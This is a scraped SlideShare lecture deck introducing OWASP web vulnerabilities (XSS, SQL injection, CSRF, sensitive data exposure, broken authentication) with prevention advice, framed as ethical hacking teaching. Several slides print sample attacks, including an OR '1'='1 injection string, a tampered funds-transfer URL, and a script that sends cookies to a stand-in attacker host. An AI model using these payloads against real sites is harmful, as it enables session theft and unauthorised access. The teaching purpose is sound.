SlideShare ist ein Scribd-Unternehmen logo

Hacking the Web

•
•
Mike Crabb
Mike Crabb

Slides used to introduce some basic concepts used in web hacking.

TechnologieInternet
1 von 20
Downloaden Sie, um offline zu lesen
HACKING THE WEB CONTENT LOVINGLY RIPPED FROM OWASP.ORG
CROSS SITE SCRIPTINGL HACKING RGU ETH GU ETHICAL HACKING RGU ETHICAL HACKIN SQL INJECTIONHACKING RGU ETHICAL HACK NGRGU ETHICAL HACKINGRGU ETHICAL HAC COOKIE EDITINGACKING RGU ETHICAL HACK RGU ETHICAL HACKINGRGU ETHICAL HACKI CROSS SITE REQUEST FORGERYL HACKING CKINGRGU ETHICAL HACKINGRGU ETHICAL HACKINGRGU ETHICAL HACKINGRGU ETHIC SENSITIVE DATA EXPOSURE RGU ETHICAING
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING L HACKING RGU ETH GU ETHICAL HACKING RGU ETHICAL HACKIN HACKING RGU ETHICAL HACK NGRGU ETHICAL HACKINGRGU ETHICAL HAC ACKING RGU ETHICAL HACK RGU ETHICAL HACKINGRGU ETHICAL HACKI L HACKING CKINGRGU ETHICAL HACKINGRGU ETHICAL HACKINGRGU ETHICAL HACKINGRGU ETHIC RGU ETHICAING
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E ATTACK ATTACK ATTACK WEAKNESS WEAKNESS WEAKNESS WEAKNESS CONTROL CONTROL ASSETS FUNCTIONS Threat
 Agents Attack
 Vectors Security
 Weaknesses Security
 Controls Technical
 Impacts Business
 Impacts ATTACK WEAKNESS CONTROL FUNCTIONS IMPACT IMPACT IMPACTIMPACT
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat
 Agents Attack
 Vectors Security
 Weaknesses Security
 Controls Technical
 Impacts Business
 Impacts
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat
 Agents Attack
 Vectors Security
 Weaknesses Technical
 Impacts Business
 Impacts APPLICATION SPECIFIC DIFFICULT UNCOMMON AVERAGE SEVERE APPLICATION SPECIFIC Prevalence Detectability
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat
 Agents Attack
 Vectors Security
 Weaknesses Technical
 Impacts Business
 Impacts APPLICATION SPECIFIC DIFFICULT UNCOMMON AVERAGE SEVERE APPLICATION SPECIFIC Prevalence Detectability
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E STEPS TO PREVENT Considering the threats you plan to protect this data from (e.g., insider attack, external user), make sure you encrypt all sensitive data at rest and in transit in a manner that defends against these threats. Don’t store sensitive data unnecessarily. Discard it as soon as possible. Data you don’t have can’t be stolen. Ensure strong standard algorithms and strong keys are used, and proper key management is in place. Ensure passwords are stored with an algorithm specifically designed for password protection, such as bcrypt, PBKDF2, or scrypt. Disable autocomplete on forms collecting sensitive data and disable caching for pages that contain sensitive data.
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat
 Agents Attack
 Vectors Security
 Weaknesses Technical
 Impacts Business
 Impacts APPLICATION SPECIFIC AVERAGE COMMON EASY MODERATE APPLICATION SPECIFIC Prevalence Detectability
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat
 Agents Attack
 Vectors Security
 Weaknesses Technical
 Impacts Business
 Impacts APPLICATION SPECIFIC AVERAGE COMMON EASY MODERATE APPLICATION SPECIFIC Prevalence Detectability HTTP://WWW.MYAMAZINGBANK.COM/TRANSFERFUNDS.PHP?FROM=1234&TO=4321&AMOUNT=500 HTTP://WWW.MYAMAZINGBANK.COM/TRANSFERFUNDS.PHP?FROM=1234&TO=666&AMOUNT=5000 VERY EASY ATTACK. SOMETHING LIKE THIS… CAN BE CHANGED TO THIS
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E STEPS TO PREVENT The preferred option is to include the unique token in a hidden field. This causes the value to be sent in the body of the HTTP request, avoiding its inclusion in the URL, which is more prone to exposure. The unique token can also be included in the URL itself, or a URL parameter. However, such placement runs a greater risk that the URL will be exposed to an attacker, thus compromising the secret token. Requiring the user to re-authenticate, or prove they are a user (e.g., via a CAPTCHA) can also protect against CSRF. Easiest fix, when dealing with forms, is to change it from GET to POST
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat
 Agents Attack
 Vectors Security
 Weaknesses Technical
 Impacts Business
 Impacts APPLICATION SPECIFIC AVERAGE WIDESPREAD AVERAGE SEVERE APPLICATION SPECIFIC Prevalence Detectability BROKEN AUTHENTICATION AND SESSION MANAGEMENT
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E STEPS TO PREVENT The primary recommendation for an organisation is to make available to developers: A single set of strong authentication and session management controls. Such controls should strive to: 1. meet all the authentication and session management requirements defined in OWASP’s Application Security Verification Standard (ASVS) areas V2 (Authentication) and V3 (Session Management). 2. have a simple interface for developers. Consider the ESAPI Authenticator and User APIs as good examples to emulate, use, or build upon.
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat
 Agents Attack
 Vectors Security
 Weaknesses Technical
 Impacts Business
 Impacts APPLICATION SPECIFIC EASY COMMON AVERAGE SEVERE APPLICATION SPECIFIC Prevalence Detectability
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat
 Agents Attack
 Vectors Security
 Weaknesses Technical
 Impacts Business
 Impacts APPLICATION SPECIFIC EASY COMMON AVERAGE SEVERE APPLICATION SPECIFIC Prevalence Detectability STRING QUERY = "SELECT * FROM ACCOUNTS WHERE CUSTID='" + REQUEST.GETPARAMETER("ID") + "'"; HTTP://EXAMPLE.COM/APP/ACCOUNTVIEW?ID=' OR '1'='1
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat
 Agents Attack
 Vectors Security
 Weaknesses Technical
 Impacts Business
 Impacts APPLICATION SPECIFIC EASY COMMON AVERAGE SEVERE APPLICATION SPECIFIC Prevalence Detectability STRING QUERY = "SELECT * FROM ACCOUNTS WHERE CUSTID='" + REQUEST.GETPARAMETER("ID") + "'"; HTTP://EXAMPLE.COM/APP/ACCOUNTVIEW?ID=' OR '1'='1
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E STEPS TO PREVENT Preventing injection requires keeping untrusted data separate from commands and queries. The preferred option is to use a safe API which avoids the use of the interpreter entirely or provides a parameterised interface. Be careful with APIs, such as stored procedures, that are parameterised, but can still introduce injection under the hood. If a parameterised API is not available, you should carefully escape special characters using the specific escape syntax for that interpreter. OWASP’s ESAPI provides many of these escaping routines.
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat
 Agents Attack
 Vectors Security
 Weaknesses Technical
 Impacts Business
 Impacts APPLICATION SPECIFIC AVERAGE VERY WIDESPREAD EASY MODERATE APPLICATION SPECIFIC Prevalence Detectability (STRING) PAGE += "<INPUT NAME='CREDITCARD' TYPE='TEXT' VALUE='" + REQUEST.GETPARAMETER("CC") + "'>"; '><SCRIPT>DOCUMENT.LOCATION= 'HTTP://WWW.ATTACKER.COM/CGI-BIN/COOKIE.CGI ? FOO='+DOCUMENT.COOKIE</SCRIPT>'.
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E STEPS TO PREVENT Preferred option is to properly escape all untrusted data based on the HTML context (body, attribute, JavaScript, CSS, or URL) that the data will be placed into. Positive or “whitelist” input validation is also recommended as it helps protect against XSS, but is not a complete defense as many applications require special characters in their input. For rich content, consider auto-sanitization libraries like the Java HTML Sanitizer Project. Consider Content Security Policy (CSP) to defend against XSS across your entire site.
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING

Empfohlen

SlideShare 101
SlideShare 101SlideShare 101
SlideShare 101Amit Ranjan
 
Mobile Is Eating the World (2015)
Mobile Is Eating the World (2015)Mobile Is Eating the World (2015)
Mobile Is Eating the World (2015)a16z
 
MetaCert Security Sales Deck
MetaCert Security Sales DeckMetaCert Security Sales Deck
MetaCert Security Sales DeckPaul Walsh
 
The Future Of Work & The Work Of The Future
The Future Of Work & The Work Of The FutureThe Future Of Work & The Work Of The Future
The Future Of Work & The Work Of The FutureArturo Pelayo
 
Open source intelligence
Open source intelligenceOpen source intelligence
Open source intelligencebalakumaran779
 
Cyber security presentation
Cyber security presentationCyber security presentation
Cyber security presentationBijay Bhandari
 
OSINT: Open Source Intelligence gathering
OSINT: Open Source Intelligence gatheringOSINT: Open Source Intelligence gathering
OSINT: Open Source Intelligence gatheringJeremiah Tillman
 
Ethical Hacking
Ethical HackingEthical Hacking
Ethical HackingBugRaptors
 

Empfohlen

SlideShare 101
SlideShare 101SlideShare 101
SlideShare 101Amit Ranjan
 
Mobile Is Eating the World (2015)
Mobile Is Eating the World (2015)Mobile Is Eating the World (2015)
Mobile Is Eating the World (2015)a16z
 
MetaCert Security Sales Deck
MetaCert Security Sales DeckMetaCert Security Sales Deck
MetaCert Security Sales DeckPaul Walsh
 
The Future Of Work & The Work Of The Future
The Future Of Work & The Work Of The FutureThe Future Of Work & The Work Of The Future
The Future Of Work & The Work Of The FutureArturo Pelayo
 
Open source intelligence
Open source intelligenceOpen source intelligence
Open source intelligencebalakumaran779
 
Cyber security presentation
Cyber security presentationCyber security presentation
Cyber security presentationBijay Bhandari
 
OSINT: Open Source Intelligence gathering
OSINT: Open Source Intelligence gatheringOSINT: Open Source Intelligence gathering
OSINT: Open Source Intelligence gatheringJeremiah Tillman
 
Ethical Hacking
Ethical HackingEthical Hacking
Ethical HackingBugRaptors
 
Mobile Device Security
Mobile Device SecurityMobile Device Security
Mobile Device SecurityNemwos
 
End User Security Awareness Presentation
End User Security Awareness PresentationEnd User Security Awareness Presentation
End User Security Awareness PresentationCristian Mihai
 
Offensive OSINT
Offensive OSINTOffensive OSINT
Offensive OSINTChristian Martorella
 
[Infographic] How will Internet of Things (IoT) change the world as we know it?
[Infographic] How will Internet of Things (IoT) change the world as we know it?[Infographic] How will Internet of Things (IoT) change the world as we know it?
[Infographic] How will Internet of Things (IoT) change the world as we know it?InterQuest Group
 
metaverse presentation
metaverse presentation metaverse presentation
metaverse presentation Ranjithreddy456102
 
Google Dorks
Google DorksGoogle Dorks
Google DorksAdhoura Academy
 
Threat Hunting with Splunk
Threat Hunting with SplunkThreat Hunting with Splunk
Threat Hunting with SplunkSplunk
 
Machine Learning: A Fast Review
Machine Learning: A Fast ReviewMachine Learning: A Fast Review
Machine Learning: A Fast ReviewAhmad Ali Abin
 
OSINT for Attack and Defense
OSINT for Attack and DefenseOSINT for Attack and Defense
OSINT for Attack and DefenseAndrew McNicol
 
Cyber security
Cyber securityCyber security
Cyber securitySiblu28
 
OpenSourceIntelligence-OSINT.pptx
OpenSourceIntelligence-OSINT.pptxOpenSourceIntelligence-OSINT.pptx
OpenSourceIntelligence-OSINT.pptxanonymousanonymous428352
 
IoT
IoTIoT
IoTAnanth Kumar
 
presentation on hacking
presentation on hackingpresentation on hacking
presentation on hackingAyush Upadhyay
 
Bug Bounty 101
Bug Bounty 101Bug Bounty 101
Bug Bounty 101Shahee Mirza
 
Hacking Tutorial in Telugu
Hacking Tutorial in TeluguHacking Tutorial in Telugu
Hacking Tutorial in TeluguSravani Reddy
 
Web Application Security and Awareness
Web Application Security and AwarenessWeb Application Security and Awareness
Web Application Security and AwarenessAbdul Rahman Sherzad
 
AI and Machine Learning Demystified by Carol Smith at Midwest UX 2017
AI and Machine Learning Demystified by Carol Smith at Midwest UX 2017AI and Machine Learning Demystified by Carol Smith at Midwest UX 2017
AI and Machine Learning Demystified by Carol Smith at Midwest UX 2017Carol Smith
 
What is Penetration Testing?
What is Penetration Testing?What is Penetration Testing?
What is Penetration Testing?btpsec
 
Presentation on Ethical Hacking ppt
Presentation on Ethical Hacking pptPresentation on Ethical Hacking ppt
Presentation on Ethical Hacking pptShravan Sanidhya
 
Introduction to IoT Security
Introduction to IoT SecurityIntroduction to IoT Security
Introduction to IoT SecurityCAS
 
Securing Your BBC Identity
Securing Your BBC IdentitySecuring Your BBC Identity
Securing Your BBC IdentityMarc Littlemore
 
Penetration testing web application web application (in) security
Penetration testing web application web application (in) securityPenetration testing web application web application (in) security
Penetration testing web application web application (in) securityNahidul Kibria
 

Weitere ähnliche Inhalte

Was ist angesagt?

Mobile Device Security
Mobile Device SecurityMobile Device Security
Mobile Device SecurityNemwos
 
End User Security Awareness Presentation
End User Security Awareness PresentationEnd User Security Awareness Presentation
End User Security Awareness PresentationCristian Mihai
 
[Infographic] How will Internet of Things (IoT) change the world as we know it?
[Infographic] How will Internet of Things (IoT) change the world as we know it?[Infographic] How will Internet of Things (IoT) change the world as we know it?
[Infographic] How will Internet of Things (IoT) change the world as we know it?InterQuest Group
 
Threat Hunting with Splunk
Threat Hunting with SplunkThreat Hunting with Splunk
Threat Hunting with SplunkSplunk
 
Machine Learning: A Fast Review
Machine Learning: A Fast ReviewMachine Learning: A Fast Review
Machine Learning: A Fast ReviewAhmad Ali Abin
 
OSINT for Attack and Defense
OSINT for Attack and DefenseOSINT for Attack and Defense
OSINT for Attack and DefenseAndrew McNicol
 
Cyber security
Cyber securityCyber security
Cyber securitySiblu28
 
presentation on hacking
presentation on hackingpresentation on hacking
presentation on hackingAyush Upadhyay
 
Hacking Tutorial in Telugu
Hacking Tutorial in TeluguHacking Tutorial in Telugu
Hacking Tutorial in TeluguSravani Reddy
 
Web Application Security and Awareness
Web Application Security and AwarenessWeb Application Security and Awareness
Web Application Security and AwarenessAbdul Rahman Sherzad
 
AI and Machine Learning Demystified by Carol Smith at Midwest UX 2017
AI and Machine Learning Demystified by Carol Smith at Midwest UX 2017AI and Machine Learning Demystified by Carol Smith at Midwest UX 2017
AI and Machine Learning Demystified by Carol Smith at Midwest UX 2017Carol Smith
 
What is Penetration Testing?
What is Penetration Testing?What is Penetration Testing?
What is Penetration Testing?btpsec
 
Presentation on Ethical Hacking ppt
Presentation on Ethical Hacking pptPresentation on Ethical Hacking ppt
Presentation on Ethical Hacking pptShravan Sanidhya
 
Introduction to IoT Security
Introduction to IoT SecurityIntroduction to IoT Security
Introduction to IoT SecurityCAS
 

Was ist angesagt? (20)

Mobile Device Security
Mobile Device SecurityMobile Device Security
Mobile Device Security
 
End User Security Awareness Presentation
End User Security Awareness PresentationEnd User Security Awareness Presentation
End User Security Awareness Presentation
 
Offensive OSINT
Offensive OSINTOffensive OSINT
Offensive OSINT
 
[Infographic] How will Internet of Things (IoT) change the world as we know it?
[Infographic] How will Internet of Things (IoT) change the world as we know it?[Infographic] How will Internet of Things (IoT) change the world as we know it?
[Infographic] How will Internet of Things (IoT) change the world as we know it?
 
metaverse presentation
metaverse presentation metaverse presentation
metaverse presentation
 
Google Dorks
Google DorksGoogle Dorks
Google Dorks
 
Threat Hunting with Splunk
Threat Hunting with SplunkThreat Hunting with Splunk
Threat Hunting with Splunk
 
Machine Learning: A Fast Review
Machine Learning: A Fast ReviewMachine Learning: A Fast Review
Machine Learning: A Fast Review
 
OSINT for Attack and Defense
OSINT for Attack and DefenseOSINT for Attack and Defense
OSINT for Attack and Defense
 
Cyber security
Cyber securityCyber security
Cyber security
 
OpenSourceIntelligence-OSINT.pptx
OpenSourceIntelligence-OSINT.pptxOpenSourceIntelligence-OSINT.pptx
OpenSourceIntelligence-OSINT.pptx
 
IoT
IoTIoT
IoT
 
presentation on hacking
presentation on hackingpresentation on hacking
presentation on hacking
 
Bug Bounty 101
Bug Bounty 101Bug Bounty 101
Bug Bounty 101
 
Hacking Tutorial in Telugu
Hacking Tutorial in TeluguHacking Tutorial in Telugu
Hacking Tutorial in Telugu
 
Web Application Security and Awareness
Web Application Security and AwarenessWeb Application Security and Awareness
Web Application Security and Awareness
 
AI and Machine Learning Demystified by Carol Smith at Midwest UX 2017
AI and Machine Learning Demystified by Carol Smith at Midwest UX 2017AI and Machine Learning Demystified by Carol Smith at Midwest UX 2017
AI and Machine Learning Demystified by Carol Smith at Midwest UX 2017
 
What is Penetration Testing?
What is Penetration Testing?What is Penetration Testing?
What is Penetration Testing?
 
Presentation on Ethical Hacking ppt
Presentation on Ethical Hacking pptPresentation on Ethical Hacking ppt
Presentation on Ethical Hacking ppt
 
Introduction to IoT Security
Introduction to IoT SecurityIntroduction to IoT Security
Introduction to IoT Security
 

Ähnlich wie Hacking the Web

Securing Your BBC Identity
Securing Your BBC IdentitySecuring Your BBC Identity
Securing Your BBC IdentityMarc Littlemore
 
Penetration testing web application web application (in) security
Penetration testing web application web application (in) securityPenetration testing web application web application (in) security
Penetration testing web application web application (in) securityNahidul Kibria
 
Trend briefs security
Trend briefs securityTrend briefs security
Trend briefs securityJongseok Choi
 
Dave Lewis - The Se7en Deadly Sins Of Web Security - Codemotion Berlin 2018
Dave Lewis - The Se7en Deadly Sins Of Web Security - Codemotion Berlin 2018Dave Lewis - The Se7en Deadly Sins Of Web Security - Codemotion Berlin 2018
Dave Lewis - The Se7en Deadly Sins Of Web Security - Codemotion Berlin 2018Codemotion
 
Penetration Testing Basics
Penetration Testing BasicsPenetration Testing Basics
Penetration Testing BasicsRick Wanner
 
Security of Web Applications: Top 6 Risks To Avoid
Security of Web Applications: Top 6 Risks To AvoidSecurity of Web Applications: Top 6 Risks To Avoid
Security of Web Applications: Top 6 Risks To Avoidslicklash
 
Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008abhijitapatil
 
OWASP Free Training - SF2014 - Keary and Manico
OWASP Free Training - SF2014 - Keary and ManicoOWASP Free Training - SF2014 - Keary and Manico
OWASP Free Training - SF2014 - Keary and ManicoEoin Keary
 
ExpertsLiveEurope The New Era Of Endpoint Security
ExpertsLiveEurope The New Era Of Endpoint SecurityExpertsLiveEurope The New Era Of Endpoint Security
ExpertsLiveEurope The New Era Of Endpoint SecurityAlexander Benoit
 
Vault Associate Certification Internals
Vault Associate Certification Internals Vault Associate Certification Internals
Vault Associate Certification Internals Adnan Rashid
 
Writing Secure Code – Threat Defense
Writing Secure Code – Threat DefenseWriting Secure Code – Threat Defense
Writing Secure Code – Threat Defenseamiable_indian
 
Porque Investir em um time de segurança ofensiva?
Porque Investir em um time de segurança ofensiva?Porque Investir em um time de segurança ofensiva?
Porque Investir em um time de segurança ofensiva?Arthur Paixão
 
Intro to Web Application Security
Intro to Web Application SecurityIntro to Web Application Security
Intro to Web Application SecurityRob Ragan
 
Secure coding presentation Oct 3 2020
Secure coding presentation Oct 3 2020Secure coding presentation Oct 3 2020
Secure coding presentation Oct 3 2020Moataz Kamel
 
04. xss and encoding
04. xss and encoding04. xss and encoding
04. xss and encodingEoin Keary
 

Ähnlich wie Hacking the Web (20)

Securing Your BBC Identity
Securing Your BBC IdentitySecuring Your BBC Identity
Securing Your BBC Identity
 
Penetration testing web application web application (in) security
Penetration testing web application web application (in) securityPenetration testing web application web application (in) security
Penetration testing web application web application (in) security
 
Trend briefs security
Trend briefs securityTrend briefs security
Trend briefs security
 
PHPUG Presentation
PHPUG PresentationPHPUG Presentation
PHPUG Presentation
 
Dave Lewis - The Se7en Deadly Sins Of Web Security - Codemotion Berlin 2018
Dave Lewis - The Se7en Deadly Sins Of Web Security - Codemotion Berlin 2018Dave Lewis - The Se7en Deadly Sins Of Web Security - Codemotion Berlin 2018
Dave Lewis - The Se7en Deadly Sins Of Web Security - Codemotion Berlin 2018
 
Penetration Testing Basics
Penetration Testing BasicsPenetration Testing Basics
Penetration Testing Basics
 
Security of Web Applications: Top 6 Risks To Avoid
Security of Web Applications: Top 6 Risks To AvoidSecurity of Web Applications: Top 6 Risks To Avoid
Security of Web Applications: Top 6 Risks To Avoid
 
Ajax Security
Ajax SecurityAjax Security
Ajax Security
 
Secure coding in C#
Secure coding in C#Secure coding in C#
Secure coding in C#
 
Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008
 
Web Application Security
Web Application SecurityWeb Application Security
Web Application Security
 
OWASP Free Training - SF2014 - Keary and Manico
OWASP Free Training - SF2014 - Keary and ManicoOWASP Free Training - SF2014 - Keary and Manico
OWASP Free Training - SF2014 - Keary and Manico
 
ExpertsLiveEurope The New Era Of Endpoint Security
ExpertsLiveEurope The New Era Of Endpoint SecurityExpertsLiveEurope The New Era Of Endpoint Security
ExpertsLiveEurope The New Era Of Endpoint Security
 
Vault Associate Certification Internals
Vault Associate Certification Internals Vault Associate Certification Internals
Vault Associate Certification Internals
 
Writing Secure Code – Threat Defense
Writing Secure Code – Threat DefenseWriting Secure Code – Threat Defense
Writing Secure Code – Threat Defense
 
How to use shodan more powerful
How to use shodan more powerful How to use shodan more powerful
How to use shodan more powerful
 
Porque Investir em um time de segurança ofensiva?
Porque Investir em um time de segurança ofensiva?Porque Investir em um time de segurança ofensiva?
Porque Investir em um time de segurança ofensiva?
 
Intro to Web Application Security
Intro to Web Application SecurityIntro to Web Application Security
Intro to Web Application Security
 
Secure coding presentation Oct 3 2020
Secure coding presentation Oct 3 2020Secure coding presentation Oct 3 2020
Secure coding presentation Oct 3 2020
 
04. xss and encoding
04. xss and encoding04. xss and encoding
04. xss and encoding
 

Mehr von Mike Crabb

Hard to Reach Users in Easy to Reach Places
Hard to Reach Users in Easy to Reach PlacesHard to Reach Users in Easy to Reach Places
Hard to Reach Users in Easy to Reach PlacesMike Crabb
 
Accessible and Assistive Interfaces
Accessible and Assistive InterfacesAccessible and Assistive Interfaces
Accessible and Assistive InterfacesMike Crabb
 
Accessible Everyone
Accessible EveryoneAccessible Everyone
Accessible EveryoneMike Crabb
 
The Peer Review Process
The Peer Review ProcessThe Peer Review Process
The Peer Review ProcessMike Crabb
 
Managing Quality In Qualitative Research
Managing Quality In Qualitative ResearchManaging Quality In Qualitative Research
Managing Quality In Qualitative ResearchMike Crabb
 
Analysing Qualitative Data
Analysing Qualitative DataAnalysing Qualitative Data
Analysing Qualitative DataMike Crabb
 
Conversation Discourse and Document Analysis
Conversation Discourse and Document AnalysisConversation Discourse and Document Analysis
Conversation Discourse and Document AnalysisMike Crabb
 
Ethnographic and Observational Research
Ethnographic and Observational ResearchEthnographic and Observational Research
Ethnographic and Observational ResearchMike Crabb
 
Doing Focus Groups
Doing Focus GroupsDoing Focus Groups
Doing Focus GroupsMike Crabb
 
Doing Interviews
Doing InterviewsDoing Interviews
Doing InterviewsMike Crabb
 
Designing Qualitative Research
Designing Qualitative ResearchDesigning Qualitative Research
Designing Qualitative ResearchMike Crabb
 
Introduction to Accessible Design
Introduction to Accessible DesignIntroduction to Accessible Design
Introduction to Accessible DesignMike Crabb
 
Accessible Everyone
Accessible EveryoneAccessible Everyone
Accessible EveryoneMike Crabb
 
Texture and Glyph Design
Texture and Glyph DesignTexture and Glyph Design
Texture and Glyph DesignMike Crabb
 
Pattern Perception and Map Design
Pattern Perception and Map DesignPattern Perception and Map Design
Pattern Perception and Map DesignMike Crabb
 
Dealing with Enterprise Level Data
Dealing with Enterprise Level DataDealing with Enterprise Level Data
Dealing with Enterprise Level DataMike Crabb
 
Using Cloud in an Enterprise Environment
Using Cloud in an Enterprise EnvironmentUsing Cloud in an Enterprise Environment
Using Cloud in an Enterprise EnvironmentMike Crabb
 
Teaching Cloud to the Programmers of Tomorrow
Teaching Cloud to the Programmers of TomorrowTeaching Cloud to the Programmers of Tomorrow
Teaching Cloud to the Programmers of TomorrowMike Crabb
 
Sql Injection and XSS
Sql Injection and XSSSql Injection and XSS
Sql Injection and XSSMike Crabb
 
Forms and Databases in PHP
Forms and Databases in PHPForms and Databases in PHP
Forms and Databases in PHPMike Crabb
 

Mehr von Mike Crabb (20)

Hard to Reach Users in Easy to Reach Places
Hard to Reach Users in Easy to Reach PlacesHard to Reach Users in Easy to Reach Places
Hard to Reach Users in Easy to Reach Places
 
Accessible and Assistive Interfaces
Accessible and Assistive InterfacesAccessible and Assistive Interfaces
Accessible and Assistive Interfaces
 
Accessible Everyone
Accessible EveryoneAccessible Everyone
Accessible Everyone
 
The Peer Review Process
The Peer Review ProcessThe Peer Review Process
The Peer Review Process
 
Managing Quality In Qualitative Research
Managing Quality In Qualitative ResearchManaging Quality In Qualitative Research
Managing Quality In Qualitative Research
 
Analysing Qualitative Data
Analysing Qualitative DataAnalysing Qualitative Data
Analysing Qualitative Data
 
Conversation Discourse and Document Analysis
Conversation Discourse and Document AnalysisConversation Discourse and Document Analysis
Conversation Discourse and Document Analysis
 
Ethnographic and Observational Research
Ethnographic and Observational ResearchEthnographic and Observational Research
Ethnographic and Observational Research
 
Doing Focus Groups
Doing Focus GroupsDoing Focus Groups
Doing Focus Groups
 
Doing Interviews
Doing InterviewsDoing Interviews
Doing Interviews
 
Designing Qualitative Research
Designing Qualitative ResearchDesigning Qualitative Research
Designing Qualitative Research
 
Introduction to Accessible Design
Introduction to Accessible DesignIntroduction to Accessible Design
Introduction to Accessible Design
 
